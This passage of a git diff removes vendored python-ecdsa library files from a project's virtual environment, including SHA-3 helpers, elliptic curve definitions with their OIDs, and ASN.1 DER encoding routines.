= t[j] ^ ((~t[j + 1]) & (t[j + 2])) - # AddRoundConstant (Iota) - s[0] ^= RC[rnd] - - # Reinterpret octet array b to word array and XOR it to state s. - def _reinterpret_to_words_and_xor(s, b): - for j in range(0, len(b) // 8): - s[j] ^= _from_le(b[8 * j : 8 * j + 8]) - - # Reinterpret word array w to octet array and return it. - def _reinterpret_to_octets(w): - mp = bytearray() - for j in range(0, len(w)): - mp += int_to_bytes(w[j], 8, byteorder="little") - return mp - - def _sha3_raw(msg, r_w, o_p, e_b): - """Semi-generic SHA-3 implementation""" - r_b = 8 * r_w - s = [0] * 25 - # Handle whole blocks. - idx = 0 - blocks = len(msg) // r_b - for i in range(0, blocks): - _reinterpret_to_words_and_xor(s, msg[idx : idx + r_b]) - idx += r_b - _sha3_transform(s) - # Handle last block padding. - m = bytearray(msg[idx:]) - m.append(o_p) - while len(m) < r_b: - m.append(0) - m[len(m) - 1] |= 128 - # Handle padded last block. - _reinterpret_to_words_and_xor(s, m) - _sha3_transform(s) - # Output. - out = bytearray() - while len(out) < e_b: - out += _reinterpret_to_octets(s[:r_w]) - _sha3_transform(s) - return out[:e_b] - - def shake_256(msg, outlen): - return _sha3_raw(msg, 17, 31, outlen) diff --git a/venv/Lib/site-packages/ecdsa/_version.py b/venv/Lib/site-packages/ecdsa/_version.py deleted file mode 100644 index de8e05b50d64e819adfd3a83756ec0b2937d139d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/_version.py +++ /dev/null @@ -1,21 +0,0 @@ - -# This file was generated by 'versioneer.py' (0.21) from -# revision-control system data, or from the parent directory name of an -# unpacked source archive. Distribution tarballs contain a pre-generated copy -# of this file. - -import json - -version_json = ''' -{ - "date": "2026-03-26T10:50:34+0100", - "dirty": false, - "error": null, - "full-revisionid": "bd66899550d7185939bf27b75713a2ac9325a9d3", - "version": "0.19.2" -} -''' # END VERSION_JSON - - -def get_versions(): - return json.loads(version_json) diff --git a/venv/Lib/site-packages/ecdsa/curves.py b/venv/Lib/site-packages/ecdsa/curves.py deleted file mode 100644 index 38e3a758bb1c4c0bf7afd26477eff19144e79a90..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/curves.py +++ /dev/null @@ -1,590 +0,0 @@ -from __future__ import division - -from six import PY2 -from . import der, ecdsa, ellipticcurve, eddsa -from .util import orderlen, number_to_string, string_to_number -from ._compat import normalise_bytes, bit_length - - -# orderlen was defined in this module previously, so keep it in __all__, -# will need to mark it as deprecated later -__all__ = [ - "UnknownCurveError", - "orderlen", - "Curve", - "SECP112r1", - "SECP112r2", - "SECP128r1", - "SECP160r1", - "NIST192p", - "NIST224p", - "NIST256p", - "NIST384p", - "NIST521p", - "curves", - "find_curve", - "curve_by_name", - "SECP256k1", - "BRAINPOOLP160r1", - "BRAINPOOLP160t1", - "BRAINPOOLP192r1", - "BRAINPOOLP192t1", - "BRAINPOOLP224r1", - "BRAINPOOLP224t1", - "BRAINPOOLP256r1", - "BRAINPOOLP256t1", - "BRAINPOOLP320r1", - "BRAINPOOLP320t1", - "BRAINPOOLP384r1", - "BRAINPOOLP384t1", - "BRAINPOOLP512r1", - "BRAINPOOLP512t1", - "PRIME_FIELD_OID", - "CHARACTERISTIC_TWO_FIELD_OID", - "Ed25519", - "Ed448", -] - - -PRIME_FIELD_OID = (1, 2, 840, 10045, 1, 1) -CHARACTERISTIC_TWO_FIELD_OID = (1, 2, 840, 10045, 1, 2) - - -class UnknownCurveError(Exception): - pass - - -class Curve: - def __init__(self, name, curve, generator, oid, openssl_name=None): - self.name = name - self.openssl_name = openssl_name # maybe None - self.curve = curve - self.generator = generator - self.order = generator.order() - if isinstance(curve, ellipticcurve.CurveEdTw): - # EdDSA keys are special in that both private and public - # are the same size (as it's defined only with compressed points) - - # +1 for the sign bit and then round up - self.baselen = (bit_length(curve.p()) + 1 + 7) // 8 - self.verifying_key_length = self.baselen - else: - self.baselen = orderlen(self.order) - self.verifying_key_length = 2 * orderlen(curve.p()) - self.signature_length = 2 * self.baselen - self.oid = oid - if oid: - self.encoded_oid = der.encode_oid(*oid) - - def __eq__(self, other): - if isinstance(other, Curve): - return ( - self.curve == other.curve and self.generator == other.generator - ) - return NotImplemented - - def __ne__(self, other): - return not self == other - - def __repr__(self): - return self.name - - def to_der(self, encoding=None, point_encoding="uncompressed"): - """Serialise the curve parameters to binary string. - - :param str encoding: the format to save the curve parameters in. - Default is ``named_curve``, with fallback being the ``explicit`` - if the OID is not set for the curve. - :param str point_encoding: the point encoding of the generator when - explicit curve encoding is used. Ignored for ``named_curve`` - format. - - :return: DER encoded ECParameters structure - :rtype: bytes - """ - if encoding is None: - if self.oid: - encoding = "named_curve" - else: - encoding = "explicit" - - if encoding not in ("named_curve", "explicit"): - raise ValueError( - "Only 'named_curve' and 'explicit' encodings supported" - ) - - if encoding == "named_curve": - if not self.oid: - raise UnknownCurveError( - "Can't encode curve using named_curve encoding without " - "associated curve OID" - ) - return der.encode_oid(*self.oid) - elif isinstance(self.curve, ellipticcurve.CurveEdTw): - assert encoding == "explicit" - raise UnknownCurveError( - "Twisted Edwards curves don't support explicit encoding" - ) - - # encode the ECParameters sequence - curve_p = self.curve.p() - version = der.encode_integer(1) - field_id = der.encode_sequence( - der.encode_oid(*PRIME_FIELD_OID), der.encode_integer(curve_p) - ) - curve = der.encode_sequence( - der.encode_octet_string( - number_to_string(self.curve.a() % curve_p, curve_p) - ), - der.encode_octet_string( - number_to_string(self.curve.b() % curve_p, curve_p) - ), - ) - base = der.encode_octet_string(self.generator.to_bytes(point_encoding)) - order = der.encode_integer(self.generator.order()) - seq_elements = [version, field_id, curve, base, order] - if self.curve.cofactor(): - cofactor = der.encode_integer(self.curve.cofactor()) - seq_elements.append(cofactor) - - return der.encode_sequence(*seq_elements) - - def to_pem(self, encoding=None, point_encoding="uncompressed"): - """ - Serialise the curve parameters to the :term:`PEM` format. - - :param str encoding: the format to save the curve parameters in. - Default is ``named_curve``, with fallback being the ``explicit`` - if the OID is not set for the curve. - :param str point_encoding: the point encoding of the generator when - explicit curve encoding is used. Ignored for ``named_curve`` - format. - - :return: PEM encoded ECParameters structure - :rtype: str - """ - return der.topem( - self.to_der(encoding, point_encoding), "EC PARAMETERS" - ) - - @staticmethod - def from_der(data, valid_encodings=None): - """Decode the curve parameters from DER file. - - :param data: the binary string to decode the parameters from - :type data: :term:`bytes-like object` - :param valid_encodings: set of names of allowed encodings, by default - all (set by passing ``None``), supported ones are ``named_curve`` - and ``explicit`` - :type valid_encodings: :term:`set-like object` - """ - if not valid_encodings: - valid_encodings = set(("named_curve", "explicit")) - if not all(i in ["named_curve", "explicit"] for i in valid_encodings): - raise ValueError( - "Only named_curve and explicit encodings supported" - ) - data = normalise_bytes(data) - if not der.is_sequence(data): - if "named_curve" not in valid_encodings: - raise der.UnexpectedDER( - "named_curve curve parameters not allowed" - ) - oid, empty = der.remove_object(data) - if empty: - raise der.UnexpectedDER("Unexpected data after OID") - return find_curve(oid) - - if "explicit" not in valid_encodings: - raise der.UnexpectedDER("explicit curve parameters not allowed") - - seq, empty = der.remove_sequence(data) - if empty: - raise der.UnexpectedDER( - "Unexpected data after ECParameters structure" - ) - # decode the ECParameters sequence - version, rest = der.remove_integer(seq) - if version != 1: - raise der.UnexpectedDER("Unknown parameter encoding format") - field_id, rest = der.remove_sequence(rest) - curve, rest = der.remove_sequence(rest) - base_bytes, rest = der.remove_octet_string(rest) - order, rest = der.remove_integer(rest) - cofactor = None - if rest: - # the ASN.1 specification of ECParameters allows for future - # extensions of the sequence, so ignore the remaining bytes - cofactor, _ = der.remove_integer(rest) - - # decode the ECParameters.fieldID sequence - field_type, rest = der.remove_object(field_id) - if field_type == CHARACTERISTIC_TWO_FIELD_OID: - raise UnknownCurveError("Characteristic 2 curves unsupported") - if field_type != PRIME_FIELD_OID: - raise UnknownCurveError( - "Unknown field type: {0}".format(field_type) - ) - prime, empty = der.remove_integer(rest) - if empty: - raise der.UnexpectedDER( - "Unexpected data after ECParameters.fieldID.Prime-p element" - ) - - # decode the ECParameters.curve sequence - curve_a_bytes, rest = der.remove_octet_string(curve) - curve_b_bytes, rest = der.remove_octet_string(rest) - # seed can be defined here, but we don't parse it, so ignore `rest` - - curve_a = string_to_number(curve_a_bytes) - curve_b = string_to_number(curve_b_bytes) - - curve_fp = ellipticcurve.CurveFp(prime, curve_a, curve_b, cofactor) - - # decode the ECParameters.base point - - base = ellipticcurve.PointJacobi.from_bytes( - curve_fp, - base_bytes, - valid_encodings=("uncompressed", "compressed", "hybrid"), - order=order, - generator=True, - ) - tmp_curve = Curve("unknown", curve_fp, base, None) - - # if the curve matches one of the well-known ones, use the well-known - # one in preference, as it will have the OID and name associated - for i in curves: - if tmp_curve == i: - return i - return tmp_curve - - @classmethod - def from_pem(cls, string, valid_encodings=None): - """Decode the curve parameters from PEM file. - - :param str string: the text string to decode the parameters from - :param valid_encodings: set of names of allowed encodings, by default - all (set by passing ``None``), supported ones are ``named_curve`` - and ``explicit`` - :type valid_encodings: :term:`set-like object` - """ - if not PY2 and isinstance(string, str): # pragma: no branch - string = string.encode() - - ec_param_index = string.find(b"-----BEGIN EC PARAMETERS-----") - if ec_param_index == -1: - raise der.UnexpectedDER("EC PARAMETERS PEM header not found") - - return cls.from_der( - der.unpem(string[ec_param_index:]), valid_encodings - ) - - -# the SEC curves -SECP112r1 = Curve( - "SECP112r1", - ecdsa.curve_112r1, - ecdsa.generator_112r1, - (1, 3, 132, 0, 6), - "secp112r1", -) - - -SECP112r2 = Curve( - "SECP112r2", - ecdsa.curve_112r2, - ecdsa.generator_112r2, - (1, 3, 132, 0, 7), - "secp112r2", -) - - -SECP128r1 = Curve( - "SECP128r1", - ecdsa.curve_128r1, - ecdsa.generator_128r1, - (1, 3, 132, 0, 28), - "secp128r1", -) - - -SECP160r1 = Curve( - "SECP160r1", - ecdsa.curve_160r1, - ecdsa.generator_160r1, - (1, 3, 132, 0, 8), - "secp160r1", -) - - -# the NIST curves -NIST192p = Curve( - "NIST192p", - ecdsa.curve_192, - ecdsa.generator_192, - (1, 2, 840, 10045, 3, 1, 1), - "prime192v1", -) - - -NIST224p = Curve( - "NIST224p", - ecdsa.curve_224, - ecdsa.generator_224, - (1, 3, 132, 0, 33), - "secp224r1", -) - - -NIST256p = Curve( - "NIST256p", - ecdsa.curve_256, - ecdsa.generator_256, - (1, 2, 840, 10045, 3, 1, 7), - "prime256v1", -) - - -NIST384p = Curve( - "NIST384p", - ecdsa.curve_384, - ecdsa.generator_384, - (1, 3, 132, 0, 34), - "secp384r1", -) - - -NIST521p = Curve( - "NIST521p", - ecdsa.curve_521, - ecdsa.generator_521, - (1, 3, 132, 0, 35), - "secp521r1", -) - - -SECP256k1 = Curve( - "SECP256k1", - ecdsa.curve_secp256k1, - ecdsa.generator_secp256k1, - (1, 3, 132, 0, 10), - "secp256k1", -) - - -BRAINPOOLP160r1 = Curve( - "BRAINPOOLP160r1", - ecdsa.curve_brainpoolp160r1, - ecdsa.generator_brainpoolp160r1, - (1, 3, 36, 3, 3, 2, 8, 1, 1, 1), - "brainpoolP160r1", -) - - -BRAINPOOLP160t1 = Curve( - "BRAINPOOLP160t1", - ecdsa.curve_brainpoolp160t1, - ecdsa.generator_brainpoolp160t1, - (1, 3, 36, 3, 3, 2, 8, 1, 1, 2), - "brainpoolP160t1", -) - - -BRAINPOOLP192r1 = Curve( - "BRAINPOOLP192r1", - ecdsa.curve_brainpoolp192r1, - ecdsa.generator_brainpoolp192r1, - (1, 3, 36, 3, 3, 2, 8, 1, 1, 3), - "brainpoolP192r1", -) - - -BRAINPOOLP192t1 = Curve( - "BRAINPOOLP192t1", - ecdsa.curve_brainpoolp192t1, - ecdsa.generator_brainpoolp192t1, - (1, 3, 36, 3, 3, 2, 8, 1, 1, 4), - "brainpoolP192t1", -) - - -BRAINPOOLP224r1 = Curve( - "BRAINPOOLP224r1", - ecdsa.curve_brainpoolp224r1, - ecdsa.generator_brainpoolp224r1, - (1, 3, 36, 3, 3, 2, 8, 1, 1, 5), - "brainpoolP224r1", -) - - -BRAINPOOLP224t1 = Curve( - "BRAINPOOLP224t1", - ecdsa.curve_brainpoolp224t1, - ecdsa.generator_brainpoolp224t1, - (1, 3, 36, 3, 3, 2, 8, 1, 1, 6), - "brainpoolP224t1", -) - - -BRAINPOOLP256r1 = Curve( - "BRAINPOOLP256r1", - ecdsa.curve_brainpoolp256r1, - ecdsa.generator_brainpoolp256r1, - (1, 3, 36, 3, 3, 2, 8, 1, 1, 7), - "brainpoolP256r1", -) - - -BRAINPOOLP256t1 = Curve( - "BRAINPOOLP256t1", - ecdsa.curve_brainpoolp256t1, - ecdsa.generator_brainpoolp256t1, - (1, 3, 36, 3, 3, 2, 8, 1, 1, 8), - "brainpoolP256t1", -) - - -BRAINPOOLP320r1 = Curve( - "BRAINPOOLP320r1", - ecdsa.curve_brainpoolp320r1, - ecdsa.generator_brainpoolp320r1, - (1, 3, 36, 3, 3, 2, 8, 1, 1, 9), - "brainpoolP320r1", -) - - -BRAINPOOLP320t1 = Curve( - "BRAINPOOLP320t1", - ecdsa.curve_brainpoolp320t1, - ecdsa.generator_brainpoolp320t1, - (1, 3, 36, 3, 3, 2, 8, 1, 1, 10), - "brainpoolP320t1", -) - - -BRAINPOOLP384r1 = Curve( - "BRAINPOOLP384r1", - ecdsa.curve_brainpoolp384r1, - ecdsa.generator_brainpoolp384r1, - (1, 3, 36, 3, 3, 2, 8, 1, 1, 11), - "brainpoolP384r1", -) - - -BRAINPOOLP384t1 = Curve( - "BRAINPOOLP384t1", - ecdsa.curve_brainpoolp384t1, - ecdsa.generator_brainpoolp384t1, - (1, 3, 36, 3, 3, 2, 8, 1, 1, 12), - "brainpoolP384t1", -) - - -BRAINPOOLP512r1 = Curve( - "BRAINPOOLP512r1", - ecdsa.curve_brainpoolp512r1, - ecdsa.generator_brainpoolp512r1, - (1, 3, 36, 3, 3, 2, 8, 1, 1, 13), - "brainpoolP512r1", -) - - -BRAINPOOLP512t1 = Curve( - "BRAINPOOLP512t1", - ecdsa.curve_brainpoolp512t1, - ecdsa.generator_brainpoolp512t1, - (1, 3, 36, 3, 3, 2, 8, 1, 1, 14), - "brainpoolP512t1", -) - - -Ed25519 = Curve( - "Ed25519", - eddsa.curve_ed25519, - eddsa.generator_ed25519, - (1, 3, 101, 112), -) - - -Ed448 = Curve( - "Ed448", - eddsa.curve_ed448, - eddsa.generator_ed448, - (1, 3, 101, 113), -) - - -# no order in particular, but keep previously added curves first -curves = [ - NIST192p, - NIST224p, - NIST256p, - NIST384p, - NIST521p, - SECP256k1, - BRAINPOOLP160r1, - BRAINPOOLP192r1, - BRAINPOOLP224r1, - BRAINPOOLP256r1, - BRAINPOOLP320r1, - BRAINPOOLP384r1, - BRAINPOOLP512r1, - SECP112r1, - SECP112r2, - SECP128r1, - SECP160r1, - Ed25519, - Ed448, - BRAINPOOLP160t1, - BRAINPOOLP192t1, - BRAINPOOLP224t1, - BRAINPOOLP256t1, - BRAINPOOLP320t1, - BRAINPOOLP384t1, - BRAINPOOLP512t1, -] - - -def find_curve(oid_curve): - """Select a curve based on its OID - - :param tuple[int,...] oid_curve: ASN.1 Object Identifier of the - curve to return, like ``(1, 2, 840, 10045, 3, 1, 7)`` for ``NIST256p``. - - :raises UnknownCurveError: When the oid doesn't match any of the supported - curves - - :rtype: ~ecdsa.curves.Curve - """ - for c in curves: - if c.oid == oid_curve: - return c - raise UnknownCurveError( - "I don't know about the curve with oid %s." - "I only know about these: %s" % (oid_curve, [c.name for c in curves]) - ) - - -def curve_by_name(name): - """Select a curve based on its name. - - Returns a :py:class:`~ecdsa.curves.Curve` object with a ``name`` name. - Note that ``name`` is case-sensitve. - - :param str name: Name of the curve to return, like ``NIST256p`` or - ``prime256v1`` - - :raises UnknownCurveError: When the name doesn't match any of the supported - curves - - :rtype: ~ecdsa.curves.Curve - """ - for c in curves: - if name == c.name or (c.openssl_name and name == c.openssl_name): - return c - raise UnknownCurveError( - "Curve with name {0!r} unknown, only curves supported: {1}".format( - name, [c.name for c in curves] - ) - ) diff --git a/venv/Lib/site-packages/ecdsa/der.py b/venv/Lib/site-packages/ecdsa/der.py deleted file mode 100644 index 5d35d69818f4e1cc5f4724b8447907b1d1b7eae5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/der.py +++ /dev/null @@ -1,484 +0,0 @@ -from __future__ import division - -import binascii -import base64 -import warnings -from itertools import chain -from six import int2byte, text_type -from ._compat import compat26_str, str_idx_as_int - - -class UnexpectedDER(Exception): - pass - - -def encode_constructed(tag, value): - return int2byte(0xA0 + tag) + encode_length(len(value)) + value - - -def encode_implicit(tag, value, cls="context-specific"): - """ - Encode and IMPLICIT value using :term:`DER`. - - :param int tag: the tag value to encode, must be between 0 an 31 inclusive - :param bytes value: the data to encode - :param str cls: the class of the tag to encode: "application", - "context-specific", or "private" - :rtype: bytes - """ - if cls not in ("application", "context-specific", "private"): - raise ValueError("invalid tag class") - if tag > 31: - raise ValueError("Long tags not supported") - - if cls == "application": - tag_class = 0b01000000 - elif cls == "context-specific": - tag_class = 0b10000000 - else: - assert cls == "private" - tag_class = 0b11000000 - - return int2byte(tag_class + tag) + encode_length(len(value)) + value - - -def encode_integer(r): - assert r >= 0 # can't support negative numbers yet - h = ("%x" % r).encode() - if len(h) % 2: - h = b"0" + h - s = binascii.unhexlify(h) - num = str_idx_as_int(s, 0) - if num <= 0x7F: - return b"\x02" + encode_length(len(s)) + s - else: - # DER integers are two's complement, so if the first byte is - # 0x80-0xff then we need an extra 0x00 byte to prevent it from - # looking negative. - return b"\x02" + encode_length(len(s) + 1) + b"\x00" + s - - -# sentry object to check if an argument was specified (used to detect -# deprecated calling convention) -_sentry = object() - - -def encode_bitstring(s, unused=_sentry): - """ - Encode a binary string as a BIT STRING using :term:`DER` encoding. - - Note, because there is no native Python object that can encode an actual - bit string, this function only accepts byte strings as the `s` argument. - The byte string is the actual bit string that will be encoded, padded - on the right (least significant bits, looking from big endian perspective) - to the first full byte. If the bit string has a bit length that is multiple - of 8, then the padding should not be included. For correct DER encoding - the padding bits MUST be set to 0. - - Number of bits of padding need to be provided as the `unused` parameter. - In case they are specified as None, it means the number of unused bits - is already encoded in the string as the first byte. - - The deprecated call convention specifies just the `s` parameters and - encodes the number of unused bits as first parameter (same convention - as with None). - - Empty string must be encoded with `unused` specified as 0. - - Future version of python-ecdsa will make specifying the `unused` argument - mandatory. - - :param s: bytes to encode - :type s: bytes like object - :param unused: number of bits at the end of `s` that are unused, must be - between 0 and 7 (inclusive) - :type unused: int or None - - :raises ValueError: when `unused` is too large or too small - - :return: `s` encoded using DER - :rtype: bytes - """ - encoded_unused = b"" - len_extra = 0 - if unused is _sentry: - warnings.warn( - "Legacy call convention used, unused= needs to be specified", - DeprecationWarning, - ) - elif unused is not None: - if not 0 <= unused <= 7: - raise ValueError("unused must be integer between 0 and 7") - if unused: - if not s: - raise ValueError("unused is non-zero but s is empty") - last = str_idx_as_int(s, -1) - if last & (2**unused - 1): - raise ValueError("unused bits must be zeros in DER") - encoded_unused = int2byte(unused) - len_extra = 1 - return b"\x03" + encode_length(len(s) + len_extra) + encoded_unused + s - - -def encode_octet_string(s): - return b"\x04" + encode_length(len(s)) + s - - -def encode_oid(first, second, *pieces): - assert 0 <= first < 2 and 0 <= second <= 39 or first == 2 and 0 <= second - body = b"".join( - chain( - [encode_number(40 * first + second)], - (encode_number(p) for p in pieces), - ) - ) - return b"\x06" + encode_length(len(body)) + body - - -def encode_sequence(*encoded_pieces): - total_len = sum([len(p) for p in encoded_pieces]) - return b"\x30" + encode_length(total_len) + b"".join(encoded_pieces) - - -def encode_number(n): - b128_digits = [] - while n: - b128_digits.insert(0, (n & 0x7F) | 0x80) - n = n >> 7 - if not b128_digits: - b128_digits.append(0) - b128_digits[-1] &= 0x7F - return b"".join([int2byte(d) for d in b128_digits]) - - -def is_sequence(string): - return string and string[:1] == b"\x30" - - -def remove_constructed(string): - s0 = str_idx_as_int(string, 0) - if (s0 & 0xE0) != 0xA0: - raise UnexpectedDER( - "wanted type 'constructed tag' (0xa0-0xbf), got 0x%02x" % s0 - ) - tag = s0 & 0x1F - length, llen = read_length(string[1:]) - if length > len(string) - 1 - llen: - raise UnexpectedDER("Length longer than the provided buffer") - body = string[1 + llen : 1 + llen + length] - rest = string[1 + llen + length :] - return tag, body, rest - - -def remove_implicit(string, exp_class="context-specific"): - """ - Removes an IMPLICIT tagged value from ``string`` following :term:`DER`. - - :param bytes string: a byte string that can have one or more - DER elements. - :param str exp_class: the expected tag class of the implicitly - encoded value. Possible values are: "context-specific", "application", - and "private". - :return: a tuple with first value being the tag without indicator bits, - second being the raw bytes of the value and the third one being - remaining bytes (or an empty string if there are none) - :rtype: tuple(int,bytes,bytes) - """ - if exp_class not in ("context-specific", "application", "private"): - raise ValueError("invalid `exp_class` value") - if exp_class == "application": - tag_class = 0b01000000 - elif exp_class == "context-specific": - tag_class = 0b10000000 - else: - assert exp_class == "private" - tag_class = 0b11000000 - tag_mask = 0b11000000 - - s0 = str_idx_as_int(string, 0) - - if (s0 & tag_mask) != tag_class: - raise UnexpectedDER( - "wanted class {0}, got 0x{1:02x} tag".format(exp_class, s0) - ) - if s0 & 0b00100000 != 0: - raise UnexpectedDER( - "wanted type primitive, got 0x{0:02x} tag".format(s0) - ) - - tag = s0 & 0x1F - length, llen = read_length(string[1:]) - if length > len(string) - 1 - llen: - raise UnexpectedDER("Length longer than the provided buffer") - body = string[1 + llen : 1 + llen + length] - rest = string[1 + llen + length :] - return tag, body, rest - - -def remove_sequence(string): - if not string: - raise UnexpectedDER("Empty string does not encode a sequence") - if string[:1] != b"\x30": - n = str_idx_as_int(string, 0) - raise UnexpectedDER("wanted type 'sequence' (0x30), got 0x%02x" % n) - length, lengthlength = read_length(string[1:]) - if length > len(string) - 1 - lengthlength: - raise UnexpectedDER("Length longer than the provided buffer") - endseq = 1 + lengthlength + length - return string[1 + lengthlength : endseq], string[endseq:] - - -def remove_octet_string(string): - if string[:1] != b"\x04": - n = str_idx_as_int(string, 0) - raise UnexpectedDER("wanted type 'octetstring' (0x04), got 0x%02x" % n) - length, llen = read_length(string[1:]) - if length > len(string) - 1 - llen: - raise UnexpectedDER("Length longer than the provided buffer") - body = string[1 + llen : 1 + llen + length] - rest = string[1 + llen + length :] - return body, rest - - -def remove_object(string): - if not string: - raise UnexpectedDER( - "Empty string does not encode an object identifier" - ) - if string[:1] != b"\x06": - n = str_idx_as_int(string, 0) - raise UnexpectedDER("wanted type 'object' (0x06), got 0x%02x" % n) - length, lengthlength = read_length(string[1:]) - body = string[1 + lengthlength : 1 + lengthlength + length] - rest = string[1 + lengthlength + length :] - if not body: - raise UnexpectedDER("Empty object identifier") - if len(body) != length: - raise UnexpectedDER( - "Length of object identifier longer than the provided buffer" - ) - numbers = [] - while body: - n, ll = read_number(body) - numbers.append(n) - body = body[ll:] - n0 = numbers.pop(0) - if n0 < 80: - first = n0 // 40 - else: - first = 2 - second = n0 - (40 * first) - numbers.insert(0, first) - numbers.insert(1, second) - return tuple(numbers), rest - - -def remove_integer(string): - if not string: - raise UnexpectedDER( - "Empty string is an invalid encoding of an integer" - ) - if string[:1] != b"\x02": - n = str_idx_as_int(string, 0) - raise UnexpectedDER("wanted type 'integer' (0x02), got 0x%02x" % n) - length, llen = read_length(string[1:]) - if length > len(string) - 1 - llen: - raise UnexpectedDER("Length longer than provided buffer") - if length == 0: - raise UnexpectedDER("0-byte long encoding of integer") - numberbytes = string[1 + llen : 1 + llen + length] - rest = string[1 + llen + length :] - msb = str_idx_as_int(numberbytes, 0) - if not msb < 0x80: - raise UnexpectedDER("Negative integers are not supported") - # check if the encoding is the minimal one (DER requirement) - if length > 1 and not msb: - # leading zero byte is allowed if the integer would have been - # considered a negative number otherwise - smsb = str_idx_as_int(numberbytes, 1) - if smsb < 0x80: - raise UnexpectedDER( - "Invalid encoding of integer, unnecessary " - "zero padding bytes" - ) - return int(binascii.hexlify(numberbytes), 16), rest - - -def read_number(string): - number = 0 - llen = 0 - if str_idx_as_int(string, 0) == 0x80: - raise UnexpectedDER("Non minimal encoding of OID subidentifier") - # base-128 big endian, with most significant bit set in all but the last - # byte - while True: - if llen >= len(string): - raise UnexpectedDER("ran out of length bytes") - number = number << 7 - d = str_idx_as_int(string, llen) - number += d & 0x7F - llen += 1 - if not d & 0x80: - break - return number, llen - - -def encode_length(l): - assert l >= 0 - if l < 0x80: - return int2byte(l) - s = ("%x" % l).encode() - if len(s) % 2: - s = b"0" + s - s = binascii.unhexlify(s) - llen = len(s) - return int2byte(0x80 | llen) + s - - -def read_length(string): - if not string: - raise UnexpectedDER("Empty string can't encode valid length value") - num = str_idx_as_int(string, 0) - if not (num & 0x80): - # short form - return (num & 0x7F), 1 - # else long-form: b0&0x7f is number of additional base256 length bytes, - # big-endian - llen = num & 0x7F - if not llen: - raise UnexpectedDER("Invalid length encoding, length of length is 0") - if llen > len(string) - 1: - raise UnexpectedDER("Length of length longer than provided buffer") - # verify that the encoding is minimal possible (DER requirement) - msb = str_idx_as_int(string, 1) - if not msb or llen == 1 and msb < 0x80: - raise UnexpectedDER("Not minimal encoding of length") - return int(binascii.hexlify(string[1 : 1 + llen]), 16), 1 + llen - - -def remove_bitstring(string, expect_unused=_sentry): - """ - Remove a BIT STRING object from `string` following :term:`DER`. - - The `expect_unused` can be used to specify if the bit string should - have the amount of unused bits decoded or not. If it's an integer, any - read BIT STRING that has number of unused bits different from specified - value will cause UnexpectedDER exception to be raised (this is especially - useful when decoding BIT STRINGS that have DER encoded object in them; - DER encoding is byte oriented, so the unused bits will always equal 0). - - If the `expect_unused` is specified as None, the first element returned - will be a tuple, with the first value being the extracted bit string - while the second value will be the decoded number of unused bits. - - If the `expect_unused` is unspecified, the decoding of byte with - number of unused bits will not be attempted and the bit string will be - returned as-is, the callee will be required to decode it and verify its - correctness. - - Future version of python will require the `expected_unused` parameter - to be specified. - - :param string: string of bytes to extract the BIT STRING from - :type string: bytes like object - :param expect_unused: number of bits that should be unused in the BIT - STRING, or None, to return it to caller - :type expect_unused: int or None - - :raises UnexpectedDER: when the encoding does not follow DER. - - :return: a tuple with first element being the extracted bit string and - the second being the remaining bytes in the string (if any); if the - `expect_unused` is specified as None, the first element of the returned - tuple will be a tuple itself, with first element being the bit string - as bytes and the second element being the number of unused bits at the - end of the byte array as an integer - :rtype: tuple - """ - if not string: - raise UnexpectedDER("Empty string does not encode a bitstring") - if expect_unused is _sentry: - warnings.warn( - "Legacy call convention used, expect_unused= needs to be" - " specified", - DeprecationWarning, - ) - num = str_idx_as_int(string, 0) - if string[:1] != b"\x03": - raise UnexpectedDER("wanted bitstring (0x03), got 0x%02x" % num) - length, llen = read_length(string[1:]) - if not length: - raise UnexpectedDER("Invalid length of bit string, can't be 0") - body = string[1 + llen : 1 + llen + length] - rest = string[1 + llen + length :] - if expect_unused is not _sentry: - unused = str_idx_as_int(body, 0) - if not 0 <= unused <= 7: - raise UnexpectedDER("Invalid encoding of unused bits") - if expect_unused is not None and expect_unused != unused: - raise UnexpectedDER("Unexpected number of unused bits") - body = body[1:] - if unused: - if not body: - raise UnexpectedDER("Invalid encoding of empty bit string") - last = str_idx_as_int(body, -1) - # verify that all the unused bits are set to zero (DER requirement) - if last & (2**unused - 1): - raise UnexpectedDER("Non zero padding bits in bit string") - if expect_unused is None: - body = (body, unused) - return body, rest - - -# SEQUENCE([1, STRING(secexp), cont[0], OBJECT(curvename), cont[1], BINTSTRING) - - -# signatures: (from RFC3279) -# ansi-X9-62 OBJECT IDENTIFIER ::= { -# iso(1) member-body(2) us(840) 10045 } -# -# id-ecSigType OBJECT IDENTIFIER ::= { -# ansi-X9-62 signatures(4) } -# ecdsa-with-SHA1 OBJECT IDENTIFIER ::= { -# id-ecSigType 1 } -# so 1,2,840,10045,4,1 -# so 0x42, .. .. - -# Ecdsa-Sig-Value ::= SEQUENCE { -# r INTEGER, -# s INTEGER } - -# id-public-key-type OBJECT IDENTIFIER ::= { ansi-X9.62 2 } -# -# id-ecPublicKey OBJECT IDENTIFIER ::= { id-publicKeyType 1 } - -# I think the secp224r1 identifier is (t=06,l=05,v=2b81040021) -# secp224r1 OBJECT IDENTIFIER ::= { -# iso(1) identified-organization(3) certicom(132) curve(0) 33 } -# and the secp384r1 is (t=06,l=05,v=2b81040022) -# secp384r1 OBJECT IDENTIFIER ::= { -# iso(1) identified-organization(3) certicom(132) curve(0) 34 } - - -def unpem(pem): - if isinstance(pem, text_type): # pragma: no branch - pem = pem.encode() - - d = b"".join( - [ - l.strip() - for l in pem.split(b"\n") - if l and not l.startswith(b"-----") - ] - ) - return base64.b64decode(d) - - -def topem(der, name): - b64 = base64.b64encode(compat26_str(der)) - lines = [("-----BEGIN %s-----\n" % name).encode()] - lines.extend( - [b64[start : start + 76] + b"\n" for start in range(0, len(b64), 76)] - ) - lines.append(("-----END %s-----\n" % name).encode()) - return b"".join(lines) diff --git a/venv/Lib/site-packages/ecdsa/ecdh.py b/venv/Lib/site-packages/ecdsa/ecdh.py deleted file mode 100644 index 7f697d9a372a080b20145052cae45eb1a9179cb0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/ecdh.py +++ /dev/null @@ -1,336 +0,0 @@ -""" -Class for performing Elliptic-curve Diffie-Hellman (ECDH) operations. -""" - -from .util import number_to_string -from .ellipticcurve import INFINITY -from .keys import SigningKey, VerifyingKey - - -__all__ = [ - "ECDH", - "NoKeyError", - "NoCurveError", - "InvalidCurveError", - "InvalidSharedSecretError", -] - - -class NoKeyError(Exception): - """ECDH. Key not found but it is needed for operation.""" - - 